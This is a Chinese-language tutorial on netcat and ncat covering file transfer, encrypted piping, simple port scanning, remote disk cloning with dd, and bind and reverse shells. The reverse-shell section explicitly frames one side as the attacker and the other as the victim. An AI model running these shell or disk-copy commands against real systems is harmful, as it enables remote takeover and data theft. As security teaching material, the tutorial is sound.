Netcat-NC 工具的使用
netcat---网络工具中的“瑞士军刀”( 小身材,大智慧)
- 侦听模式/ 传输模式 telnet /获取banner信息
- nc -nv IP Port
- A: nc -l -p 4444
- B: nc -nv 1.1.1.1 4444
- 传输文件/ 目录
- 加密传输文件
- 远程控制木马
- 加密所有流量
- 流媒体服务器
- 远程克隆硬盘
root@bogon:~# nc -h [v1.10-41.1] connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [-options] [hostname] [port] options: -c shell commands as `-e'; use /bin/sh to exec [dangerous!!] -e filename program to exec after connect [dangerous!!] -b allow broadcasts -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent, ports scanned -k set keepalive option on socket -l listen mode, for inbound connects -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -q secs quit after EOF on stdin and delay of secs -s addr local source address -T tos set Type Of Service -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -C Send CRLF as line-ending -z zero-I/O mode [used for scanning] port numbers can be individual or ranges: lo-hi [inclusive]; hyphens in port names must be backslash escaped (e.g. 'ftp\-data').
远程电子取证的要求就是尽可能不破坏现场,在NC传输文本信息的基础上
对于服务端开启监听; nc -l -p 4444 nc -l -p 4444 > nc.text --------------------------- 对于客户端开启命令传输: ①直接 nc -nv 192.168.56.134 4444 此时,这输入嘛,服务端就显示嘛。 ② 执行命令后,将结果显示在服务端。 ls -l |nc -nv 192.168.56.134 4444 这样命令就显示在远程端了。 ③ 远程端想将结果保存下来: 服务端这样:nc -l -p 4444 > nc.text 客户端这样:ls -al |nc -nv 192.168.56.134 4444 root@bogon:~# ps aux |nc -nv 192.168.56.134 4444 -q 1 (UNKNOWN) [192.168.56.134] 4444 (?) open 这个 -q 1 是说命令执行完等1s就退出。
传输文件和目录这样:
A:nc -lp 333 > 1.mp4 B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1 或 A:nc -q 1 -lp 333 < a.mp4 B: nc -nv 1.1.1.1 333 > 2.mp4 • 传输目录 A:tar -cvf - music/ | nc -lp 333 –q 1
B:nc -nv 1.1.1.1 333 | tar -xvf – • 加密传文件 A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4 B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
#需要先安装下mcrypt
流媒体服务这样:
A: cat 1.mp4 | nc -lp 3333 B: nc -lp 1.1.1.1 3333 | mplayer -vo x11 -cache 3000 - #mplayer需要自行安装,也可以其他软件,管道过来播放就行
端口扫描(简单的)
nc -nvz 1.1.1.1 1-65535 //TCP nc –nvzu 1.1.1.1 1-102 //UDP
远程克隆硬盘
A: nc -lp 333 | dd of=/dev/sda B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1 #远程电⼦子取证,可以将目标服务器硬盘远程复制,或者内存。
远程控制(..反弹shell)
正向: 服务器开监听端口并启动bash,客户端来连接。 A:nc -lp 333 -c bash B:nc 1.1.1.1 333 反向: 服务器开启监听端口等着,客户端来连接启动bash,把自己的bash主动反弹过来 A:nc -lp 333 B:nc 1.1.1.1 333 -c bash #注:Windows⽤用户把bash改成cmd
#反向的是攻击端自己开个服务监听,让被害端连过来
NC—与—NCAT
• Nc缺乏加密和⾝份验证的能⼒
• Ncat包含在nmap⼯工具包中
A:ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl B:ncat -nv 1.1.1.1 333 --ssl
ncat的管道加密
#不同系统/平台的NC参数功能不尽相同。例如Ubuntu...
为美好的生活奋斗!